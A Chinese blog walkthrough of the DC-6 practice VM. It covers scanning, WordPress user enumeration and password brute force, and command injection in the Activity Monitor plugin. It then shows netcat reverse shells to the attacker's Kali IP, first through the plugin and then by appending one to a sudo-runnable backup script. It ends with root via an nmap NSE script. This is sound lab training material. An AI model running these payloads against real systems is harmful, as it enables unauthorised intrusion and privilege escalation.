渗透测试——靶机DC-6详细横向过程(Wordpress渗透)

大家也是好久不见,休息了一周,今天也是给大家继续带来渗透测试靶机DC-6的详细横向以及渗透过程;

明天不出意外的话给大家写一篇Linux的应急响应靶机的文章;

文章目录


网络配置

还是老样子,我们还是将VirtualBox的DC-6靶机与Vmware的Kali主机进行网络连通性的设置;

DC-6网络设置

首先我们点击靶机 ---> 选择设置 ---> 网络 ---> 仅主机网络:

随后将网络配置为192.168.56.0/24网段的IP地址:

这里靶机DC-6的网络配置就好了;


接下来我们配置Kali的 ---> 虚拟网络编辑器 ---> 新建一个NAT网卡 ---> 配置192.168.56.0/24网段:

随后我们打开kali,输入命令ifconfig,查看是否配置成功:

这里需要先打开VirtualBox的靶机,否则可能会出现网络不显示的情况:


如图所示:

Kali主机网络成功配置,可以看到也是56网段了;


信息收集

然后我们就对目标网段192.168.56.0/24进行信息收集(因为此时我们不知道目标主机的具体IP地址是什么):

bash 复制代码
nmap -sP 192.168.56.0/24

这时候我们得到两个IP地址,究竟哪一个是真正的目标主机?

我们可以用ping IP地址 的方法来进行验证:

所以我们可以确定目标主机的网络为192.168.56.110

接下来我们需要查看目标主机开放了哪些服务以及端口:

bash 复制代码
# 详细信息收集
nmap -sC -sV -A -T4 192.168.56.110

可以看到开放的是http服务以及ssh服务(真实生产中对外开放很危险);


接下来我们就去访问目标主机,查看他的Web服务搭建了什么框架或者使用了哪些可利用的中间件:

一、问题解决:wordy服务无法访问?

我们访问网址 http://192.168.56.110/,发现失败?

这个时候就需要去kali的/etc/hosts文件去设置一下DNS本地解析

关于什么是DNS本地解析以及它的原理,具体可以看Kioptrix3靶机多种方法渗透提权(手把手详细教程)这篇文章;

我之前将其进行修改为:

修改后,尝试继续访问http://192.168.56.110/,**还是不行。。。**

尝试检测所用的中间件:


问题原因:

这个现象不是 Web 服务挂了 ,而是一个典型的「域名 + 虚拟主机(vhost)+ hosts 解析冲突」问题 ,而且你现在的 /etc/hosts 确实配错了,所以浏览器被"带偏"了。

(1)现象拆解(为什么会这样)
text 复制代码
http://192.168.56.110/  → 301 → RedirectLocation[http://wordy/]
  • 192.168.56.110 上的 Apache
  • 配置了 强制跳转到域名 wordy
(2)访问 http://wordy/ 后发生了什么?
text 复制代码
http://wordy/ [200 OK]
HTTPServer[nginx/1.24.0]
IP[192.168.44.146]
Title[Apache2 Debian Default Page: It works]

⚠️ 关键点:

  • wordy 被解析到了 192.168.44.146(kali地址)
  • 但真正想访问的是 192.168.56.110(目标地址)
  • 结果进的是 另一张网卡 / 另一台机器 / 另一套 nginx
(3)致命错误在 /etc/hosts

现在的 hosts:

text 复制代码
192.168.56.102 wordy
192.168.44.146 wordy

这是错误的

原因:

  • 同一个域名 wordy
  • 被绑定到了 两个不同 IP
  • Linux 解析时命中顺序不可控
  • 浏览器 / curl / whatweb 可能解析到任意一个

二、问题解决

第一步:只保留一个 wordy 映射(指向 192.168.56.110)

编辑 /etc/hosts

bash 复制代码
vim /etc/hosts

改成下面这样:

使其指向目标主机192.168.56.110地址

第二步:验证解析是否正确
bash 复制代码
getent hosts wordy

# 正确结果应该是:
192.168.56.110  wordy

如果不是,说明 hosts 还没改干净。

成功解析;

第三步:重新访问(推荐方式)
bash 复制代码
# 直接用域名访问:
curl -I http://wordy/

# 或浏览器直接访问:
http://wordy/

正确结果如下:


使用框架:Wordpress

随后我们探测目标网站使用了什么框架:

发现此web框架采用WordPress CMS

当然还可以使用插件进行收集信息:

Web目录枚举

然后我们使用dirsearch对目标网址进行目录枚举:

bash 复制代码
python dirsearch.py -u http://192.168.56.110

# 只要200,301等响应码
python dirsearch.py -u http://192.168.56.110 -i 200,301,302 -x 404,503

得到结果如下:

类型 路径 状态码 价值说明
站点入口 /index.php 200 网站首页,可分析主题、插件痕迹,判断站点结构
版本信息 /readme.html 200 可能直接泄露 WordPress 版本号(重点)
版本信息 /license.txt 200 确认 WordPress 类型,辅助版本识别
登录入口 /wp-login.php 200 WordPress 登录页面,可进行用户名枚举、弱口令测试
后台入口 /wp-admin/ 302 后台路径存在,跳转至登录页
初始化风险 /wp-admin/install.php 200 高危,可能允许重新安装或泄露数据库信息
初始化配置 /wp-admin/setup-config.php 500 初始化配置脚本,可能触发错误信息泄露
核心配置 /wp-config.php 200 异常可访问,极高价值目标,应重点验证
远程接口 /xmlrpc.php 405 XML-RPC 接口存在,可用于用户名枚举、爆破
内容目录 /wp-content/ 200 插件与主题目录,后续漏洞利用关键
核心目录 /wp-includes/ 200 WordPress 核心文件目录,辅助版本与漏洞分析
定时任务 /wp-cron.php 200 定时任务接口,可用于触发任务或 DoS 测试

Web漏洞利用:wordpress后台密码

泄露敏感信息:接下来我们要寻找是否有登陆的账号以及密码

方法 :author 枚举(最经典)

总体思路:

(1)将扫描出的五个用户存到文本user.txt

(2)使用密码本爆破:wpscan --url http://wordy -P user.txt -U password.txt

(3)这里缺密码怎么办?之前用到的工具是Cewl进行爬取从而得到密码字典,这里也可以试试

1. 将扫描出的五个用户存到文本user.txt
bash 复制代码
wpscan --url http://wordy --enumerate u

# 输出示例:
[+] admin
[+] editor

得到结果:

成功枚举出五位用户的信息,并保存到记事本当中;

2. Cewl进行爬取网址密码

成功得到一些密码,保存为passwds.txt ,然后使用WPScan进行网站登录爆破

ps:根据作者的提示,从密码字典当中保存以下密码,可节省时间

成功生成文件:passwords.txt

3. 使用密码本爆破

然后再用wpscan进行爆破:

bash 复制代码
wpscan --url http://wordy -P user.txt -U passwords.txt

经过十几分钟的等待,终于得到了结果:

账号:mark

密码: helpdesk01


登陆系统

访问页面 http://wordy/wp-admin/

随后熟悉一下系统,并查找可能存在的漏洞:

随后发现后台除了一些用户以及评论外,还下载了两个插件,就去网上查找关键词:Activity Monitor的历史漏洞

发现在tools页面,存在一个命令执行的框:(具体可以看我的CTF命令执行部分)

输入命令后发现有长度限制

点击Intercept on开启抓包,随后输入命令whoami,放包:

随后依次点击页面的按钮:

反弹shell

所以我们用同样的方法反弹shell:

bash 复制代码
# 连接kali的8888端口
127.0.0.1 | nc -e /bin/bash 192.168.56.102 8888

点击页面第三个按钮lookup,进行连接:

成功反弹一个会话:

提权

进入会话后,我就用sudo -l 寻找有哪些可疑的文件或者目录:

发现了之前wpscan尝试爆破的用户名

于是就进入到/home 目录依次寻找:

发现:

  • 在jen用户下发现一个backups.sh脚本文件:
  • 在mark用户里发现一个新用户:

别忘了之前用nmap扫描的时候,80和22服务是开放的;

所以尝试用ssh登陆一下这个用户:graham / GSo7isUM1D4

bash 复制代码
ssh graham@192.168.56.110 -p 22

成功登陆;

同样在**/home** 目录下发现四个用户,依次进行查看:

(结果与之前一致)

SUID提权

输入命令:

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

不存在可利用的应用程序或者低版本的内核漏洞;

SUDO提权

输入命令sudo -l 发现了一点东西:

作用 :核心是说明:graham可以jens用户的身份无需输入密码NOPASSWD),执行/home/jens/backups.sh这个脚本。

反弹jens用户的shell

所以我们可利用这个脚本来反弹一个jens用户的shell:

bash 复制代码
# 还是在kali机器的6666端口
echo "nc -e /bin/bash 192.168.56.102 6666" >> backups.sh 

成功添加命令;

(1)再打开kali的监听:

(2)然后在graham用户里以jens的身份运行该文件

bash 复制代码
sudo -u jens ./backups.sh

随后还是输入命令sudo -l 成功发现一个以root用户执行的程序:namp

nmap提权

接下来就是利用nmap进行提权:

bash 复制代码
# 首先创建一个脚本
touch root_shell.sh
echo 'os.execute("/bin/sh")' > root_shell.sh
sudo nmap --script=root_shell.sh

随后也是得到了flag:

总结

本次靶机主要是通过将wordy映射到kali上使其可以访问到相应的域名;随后利用wordpress的漏洞来进行wpscan扫描;最后进入到系统反弹shell,获取root权限;

期待下次再见;

相关推荐
CryptoPP2 小时前
对接BSE交易所获取数据。
python·金融·数据挖掘·数据分析·区块链
m0_737302582 小时前
云原生安全加固:镜像安全与供应链防护全流程
服务器
pengdott2 小时前
Linux用户态与内核态的深度剖析
linux·运维·服务器
老歌老听老掉牙2 小时前
PyQt5中RadioButton互斥选择的实现方法
开发语言·python·qt
week_泽2 小时前
Dvwa靶场搭建_错误汇总
web安全·网络安全·靶场·dvwa
Pyeako2 小时前
Opencv计算机视觉
人工智能·python·深度学习·opencv·计算机视觉
于齐龙2 小时前
2025年12月23日 - 计算机组成原理
服务器
雅欣鱼子酱2 小时前
ECP5702 PD诱骗协议芯片,单芯片取电5V~20V输出给后端充电模板!
网络·人工智能·芯片·电子元器件
姚青&2 小时前
三.文件处理命令-文件查看
linux·运维·服务器